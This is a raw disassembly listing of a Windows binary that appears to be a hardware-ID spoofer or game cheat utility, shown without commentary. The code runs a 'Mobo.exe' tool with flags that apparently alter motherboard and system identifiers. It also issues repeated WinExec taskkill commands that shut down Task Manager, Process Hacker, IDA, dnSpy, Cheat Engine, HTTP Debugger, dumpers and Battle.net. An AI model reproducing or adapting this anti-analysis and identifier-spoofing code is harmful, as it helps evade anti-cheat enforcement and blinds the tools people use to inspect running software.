call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9318]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9338]
call fcn.14005d9d0
mov qword [rsp + 0xdf8], rax
mov rax, qword [rsp + 0xdf8]
mov qword [rsp + 0xe00], rax
mov r8, qword [rsp + 0xe00]
lea rdx, str.C:WindowsSystem32Mobo.exe__CA
lea rcx, [rsp + 0xe7b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9338]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9358]
call fcn.14005d9d0
mov qword [rsp + 0xe08], rax
mov rax, qword [rsp + 0xe08]
mov qword [rsp + 0xe10], rax
mov r8, qword [rsp + 0xe10]
lea rdx, str.C:WindowsSystem32Mobo.exe__CO
lea rcx, [rsp + 0xe790]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9358]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9378]
call fcn.14005d9d0
mov qword [rsp + 0xe18], rax
mov rax, qword [rsp + 0xe18]
mov qword [rsp + 0xe20], rax
mov r8, qword [rsp + 0xe20]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSK
lea rcx, [rsp + 0xe770]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9378]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9398]
call fcn.14005d9d0
mov qword [rsp + 0xe28], rax
mov rax, qword [rsp + 0xe28]
mov qword [rsp + 0xe30], rax
mov r8, qword [rsp + 0xe30]
lea rdx, str.C:WindowsSystem32Mobo.exe__SK
lea rcx, [rsp + 0xe750]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9398]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x93b8]
call fcn.14005d9d0
mov qword [rsp + 0xe38], rax
mov rax, qword [rsp + 0xe38]
mov qword [rsp + 0xe40], rax
mov r8, qword [rsp + 0xe40]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_auto
lea rcx, [rsp + 0xe730]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x93b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x93d8]
call fcn.14005d9d0
mov qword [rsp + 0xe48], rax
mov rax, qword [rsp + 0xe48]
mov qword [rsp + 0xe50], rax
mov r8, qword [rsp + 0xe50]
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH
lea rcx, [rsp + 0xe710]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x93d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x93f8]
call fcn.14005d9d0
mov qword [rsp + 0xe58], rax
mov rax, qword [rsp + 0xe58]
mov qword [rsp + 0xe60], rax
mov r8, qword [rsp + 0xe60]
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH
lea rcx, [rsp + 0xe6f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x93f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9418]
call fcn.14005d9d0
mov qword [rsp + 0xe68], rax
mov rax, qword [rsp + 0xe68]
mov qword [rsp + 0xe70], rax
mov r8, qword [rsp + 0xe70]
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH
lea rcx, [rsp + 0xe6d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9418]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9438]
call fcn.14005d9d0
mov qword [rsp + 0xe78], rax
mov rax, qword [rsp + 0xe78]
mov qword [rsp + 0xe80], rax
mov r8, qword [rsp + 0xe80]
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH
lea rcx, [rsp + 0xe6b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9438]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9458]
call fcn.14005d9d0
mov qword [rsp + 0xe88], rax
mov rax, qword [rsp + 0xe88]
mov qword [rsp + 0xe90], rax
mov r8, qword [rsp + 0xe90]
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH
lea rcx, [rsp + 0xe690]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9458]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9478]
call fcn.14005d9d0
mov qword [rsp + 0xe98], rax
mov rax, qword [rsp + 0xe98]
mov qword [rsp + 0xea0], rax
mov r8, qword [rsp + 0xea0]
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH
lea rcx, [rsp + 0xe670]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9478]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9498]
call fcn.14005d9d0
mov qword [rsp + 0xea8], rax
mov rax, qword [rsp + 0xea8]
mov qword [rsp + 0xeb0], rax
mov r8, qword [rsp + 0xeb0]
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN
lea rcx, [rsp + 0xe650]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9498]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x94b8]
call fcn.14005d9d0
mov qword [rsp + 0xeb8], rax
mov rax, qword [rsp + 0xeb8]
mov qword [rsp + 0xec0], rax
mov r8, qword [rsp + 0xec0]
lea rdx, str.C:WindowsSystem32Mobo.exe__ID
lea rcx, [rsp + 0xe630]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x94b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x94d8]
call fcn.14005d9d0
mov qword [rsp + 0xec8], rax
mov rax, qword [rsp + 0xec8]
mov qword [rsp + 0xed0], rax
mov r8, qword [rsp + 0xed0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CH
lea rcx, [rsp + 0xe610]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x94d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x94f8]
call fcn.14005d9d0
mov qword [rsp + 0xed8], rax
mov rax, qword [rsp + 0xed8]
mov qword [rsp + 0xee0], rax
mov r8, qword [rsp + 0xee0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC
lea rcx, [rsp + 0xe5f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x94f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9518]
call fcn.14005d9d0
mov qword [rsp + 0xee8], rax
mov rax, qword [rsp + 0xee8]
mov qword [rsp + 0xef0], rax
mov r8, qword [rsp + 0xef0]
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH
lea rcx, [rsp + 0xe5d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9518]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9538]
call fcn.14005d9d0
mov qword [rsp + 0xef8], rax
mov rax, qword [rsp + 0xef8]
mov qword [rsp + 0xf00], rax
mov r8, qword [rsp + 0xf00]
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH
lea rcx, [rsp + 0xe5b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9538]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9558]
call fcn.14005d9d0
mov qword [rsp + 0xf08], rax
mov rax, qword [rsp + 0xf08]
mov qword [rsp + 0xf10], rax
mov r8, qword [rsp + 0xf10]
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH
lea rcx, [rsp + 0xe590]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9558]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9578]
call fcn.14005d9d0
mov qword [rsp + 0xf18], rax
mov rax, qword [rsp + 0xf18]
mov qword [rsp + 0xf20], rax
mov r8, qword [rsp + 0xf20]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH
lea rcx, [rsp + 0xe570]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9578]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9598]
call fcn.14005d9d0
mov qword [rsp + 0xf28], rax
mov rax, qword [rsp + 0xf28]
mov qword [rsp + 0xf30], rax
mov r8, qword [rsp + 0xf30]
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH
lea rcx, [rsp + 0xe550]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9598]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x95b8]
call fcn.14005d9d0
mov qword [rsp + 0xf38], rax
mov rax, qword [rsp + 0xf38]
mov qword [rsp + 0xf40], rax
mov r8, qword [rsp + 0xf40]
lea rdx, str.C:WindowsSystem32Mobo.exe__COH
lea rcx, [rsp + 0xe530]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x95b8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x95d8]
call fcn.14005d9d0
mov qword [rsp + 0xf48], rax
mov rax, qword [rsp + 0xf48]
mov qword [rsp + 0xf50], rax
mov r8, qword [rsp + 0xf50]
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH
lea rcx, [rsp + 0xe510]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x95d8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x95f8]
call fcn.14005d9d0
mov qword [rsp + 0xf58], rax
mov rax, qword [rsp + 0xf58]
mov qword [rsp + 0xf60], rax
mov r8, qword [rsp + 0xf60]
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH
lea rcx, [rsp + 0xe4f0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x95f8]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9618]
call fcn.14005d9d0
mov qword [rsp + 0xf68], rax
mov rax, qword [rsp + 0xf68]
mov qword [rsp + 0xf70], rax
mov r8, qword [rsp + 0xf70]
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH
lea rcx, [rsp + 0xe4d0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9618]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9638]
call fcn.14005d9d0
mov qword [rsp + 0xf78], rax
mov rax, qword [rsp + 0xf78]
mov qword [rsp + 0xf80], rax
mov r8, qword [rsp + 0xf80]
lea rdx, str.C:WindowsSystem32Mobo.exe__SU
lea rcx, [rsp + 0xe4b0]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9638]
call fcn.14005d8e0
lea rdx, [0x140406bd0]
lea rcx, [rsp + 0x9658]
call fcn.14005d9d0
mov qword [rsp + 0xf88], rax
mov rax, qword [rsp + 0xf88]
mov qword [rsp + 0xf90], rax
mov r8, qword [rsp + 0xf90]
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL
lea rcx, [rsp + 0xe490]
call fcn.1400aecd0
nop
lea rcx, [rsp + 0x9658]
call fcn.14005d8e0
lea rcx, [rsp + 0xc730]
call fcn.14006c020
lea rcx, [rsp + 0xc630]
call fcn.14006c020
lea rcx, [rsp + 0xc610]
call fcn.14006c020
lea rcx, [rsp + 0xc5f0]
call fcn.14006c020
lea rcx, [rsp + 0xc5d0]
call fcn.14006c020
lea rcx, [rsp + 0xc5b0]
call fcn.14006c020
lea rcx, [rsp + 0xc590]
call fcn.14006c020
lea rcx, [rsp + 0xc570]
call fcn.14006c020
lea rcx, [rsp + 0xc530]
call fcn.14006c020
lea rcx, [rsp + 0xc510]
call fcn.14006c020
lea rcx, [rsp + 0xc4f0]
call fcn.14006c020
lea rcx, [rsp + 0xc4d0]
call fcn.14006c020
lea rcx, [rsp + 0xc4b0]
call fcn.14006c020
lea rcx, [rsp + 0xc490]
call fcn.14006c020
lea rcx, [rsp + 0xc470]
call fcn.14006c020
lea rcx, [rsp + 0xc450]
call fcn.14006c020
lea rcx, [rsp + 0xc430]
call fcn.14006c020
lea rcx, [rsp + 0xc410]
call fcn.14006c020
lea rcx, [rsp + 0xc3f0]
call fcn.14006c020
lea rcx, [rsp + 0xc3d0]
call fcn.14006c020
lea rcx, [rsp + 0xc3b0]
call fcn.14006c020
lea rcx, [rsp + 0xc390]
call fcn.14006c020
lea rcx, [rsp + 0xc370]
call fcn.14006c020
lea rcx, [rsp + 0xc350]
call fcn.14006c020
lea rcx, [rsp + 0xc330]
call fcn.14006c020
lea rcx, [rsp + 0xc310]
call fcn.14006c020
lea rcx, [rsp + 0xc2f0]
call fcn.14006c020
lea rcx, [rsp + 0xc2d0]
call fcn.14006c020
lea rcx, [rsp + 0xc2b0]
call fcn.14006c020
lea rcx, [rsp + 0xc290]
call fcn.14006c020
lea rcx, [rsp + 0xc250]
call fcn.14006c020
lea rcx, [rsp + 0xc230]
call fcn.14006c020
lea rcx, [rsp + 0xc210]
call fcn.14006c020
lea rcx, [rsp + 0xc1f0]
call fcn.14006c020
lea rcx, [rsp + 0xc1d0]
call fcn.14006c020
lea rcx, [rsp + 0xc1b0]
call fcn.14006c020
lea rcx, [rsp + 0xc190]
call fcn.14006c020
lea rcx, [rsp + 0xae70]
call fcn.14006c020
lea rcx, [rsp + 0xae50]
call fcn.14006c020
lea rcx, [rsp + 0xae30]
call fcn.14006c020
lea rcx, [rsp + 0xae10]
call fcn.14006c020
lea rcx, [rsp + 0xadf0]
call fcn.14006c020
lea rcx, [rsp + 0xadd0]
call fcn.14006c020
lea rcx, [rsp + 0xadb0]
call fcn.14006c020
lea rcx, [rsp + 0xad90]
call fcn.14006c020
lea rcx, [rsp + 0xa6b0]
call fcn.14006c020
lea rcx, [rsp + 0xa690]
call fcn.14006c020
lea rcx, [rsp + 0xa670]
call fcn.14006c020
lea rcx, [rsp + 0xa650]
call fcn.14006c020
lea rcx, [rsp + 0xc930]
call fcn.14006c020
lea rcx, [rsp + 0xa310]
call fcn.14006c020
lea rcx, [rsp + 0xa310]
call fcn.14006c020
lea rcx, [rsp + 0xc550]
call fcn.14006c020
lea rcx, [rsp + 0xe970]
call fcn.14006c020
lea rcx, [rsp + 0xe950]
call fcn.14006c020
lea rcx, [rsp + 0xe930]
call fcn.14006c020
lea rcx, [rsp + 0xe910]
call fcn.14006c020
lea rcx, [rsp + 0xe8f0]
call fcn.14006c020
lea rcx, [rsp + 0xe8d0]
call fcn.14006c020
lea rcx, [rsp + 0xe8b0]
call fcn.14006c020
lea rcx, [rsp + 0xe890]
call fcn.14006c020
lea rcx, [rsp + 0xe870]
call fcn.14006c020
lea rcx, [rsp + 0xe850]
call fcn.14006c020
lea rcx, [rsp + 0xe830]
call fcn.14006c020
lea rcx, [rsp + 0xe810]
call fcn.14006c020
lea rcx, [rsp + 0xe7f0]
call fcn.14006c020
lea rcx, [rsp + 0xe7d0]
call fcn.14006c020
lea rcx, [rsp + 0xe7b0]
call fcn.14006c020
lea rcx, [rsp + 0xe790]
call fcn.14006c020
lea rcx, [rsp + 0xe770]
call fcn.14006c020
lea rcx, [rsp + 0xe750]
call fcn.14006c020
lea rcx, [rsp + 0xe730]
call fcn.14006c020
lea rcx, [rsp + 0xe710]
call fcn.14006c020
lea rcx, [rsp + 0xe6f0]
call fcn.14006c020
lea rcx, [rsp + 0xe6d0]
call fcn.14006c020
lea rcx, [rsp + 0xe6b0]
call fcn.14006c020
lea rcx, [rsp + 0xe690]
call fcn.14006c020
lea rcx, [rsp + 0xe670]
call fcn.14006c020
lea rcx, [rsp + 0xe650]
call fcn.14006c020
lea rcx, [rsp + 0xe630]
call fcn.14006c020
lea rcx, [rsp + 0xe610]
call fcn.14006c020
lea rcx, [rsp + 0xe5f0]
call fcn.14006c020
lea rcx, [rsp + 0xe5d0]
call fcn.14006c020
lea rcx, [rsp + 0xe5b0]
call fcn.14006c020
lea rcx, [rsp + 0xe590]
call fcn.14006c020
lea rcx, [rsp + 0xe570]
call fcn.14006c020
lea rcx, [rsp + 0xe550]
call fcn.14006c020
lea rcx, [rsp + 0xe530]
call fcn.14006c020
lea rcx, [rsp + 0xe510]
call fcn.14006c020
lea rcx, [rsp + 0xe4f0]
call fcn.14006c020
lea rcx, [rsp + 0xe4d0]
call fcn.14006c020
lea rcx, [rsp + 0xe4b0]
call fcn.14006c020
lea rcx, [rsp + 0xe490]
call fcn.14006c020
lea rcx, [rsp + 0xc650]
call fcn.14006c020
lea rcx, [rsp + 0xc670]
call fcn.14006c020
lea rcx, [rsp + 0xc690]
call fcn.14006c020
lea rcx, [rsp + 0xc6b0]
call fcn.14006c020
lea rcx, [rsp + 0xc6d0]
call fcn.14006c020
lea rcx, [rsp + 0xc6f0]
call fcn.14006c020
lea rcx, [rsp + 0xc710]
call fcn.14006c020
nop
lea rcx, [rsp + 0xe490]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe4b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe4d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe4f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe510]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe530]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe550]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe570]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe590]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe5b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe5d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe5f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe610]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe630]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe650]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe670]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe690]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe6b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe6d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe6f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe710]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe730]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe750]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe770]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe790]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe7b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe7d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe7f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe810]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe830]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe850]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe870]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe890]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe8b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe8d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe8f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe910]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe930]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe950]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xe970]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc550]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa310]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc930]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa650]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa670]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa690]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xa6b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xad90]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xadb0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xadd0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xadf0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xae10]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xae30]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xae50]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xae70]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc190]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc1b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc1d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc1f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc210]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc230]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc250]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc290]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc2b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc2d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc2f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc310]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc330]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc350]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc370]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc390]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc3b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc3d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc3f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc410]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc430]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc450]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc470]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc490]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc4b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc4d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc4f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc510]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc530]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc570]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc590]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc5b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc5d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc5f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc610]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc630]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc650]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc670]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc690]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc6b0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc6d0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc6f0]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc710]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc730]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc750]
call fcn.14005d8e0
nop
lea rcx, [rsp + 0xc770]
call fcn.14005d8e0
cmp dword [0x140406d74], 1
jne 0x14008ad06
call fcn.14006ba20
call fcn.14006ba70
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.REMINDER_YOU_CAN_ONLY_USE_THIS_METHOD_ONCE_PER_RESTART
lea rdx, str.REMINDER_YOU_CAN_ONLY_USE_THIS_METHOD_ONCE_PER_RESTART
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
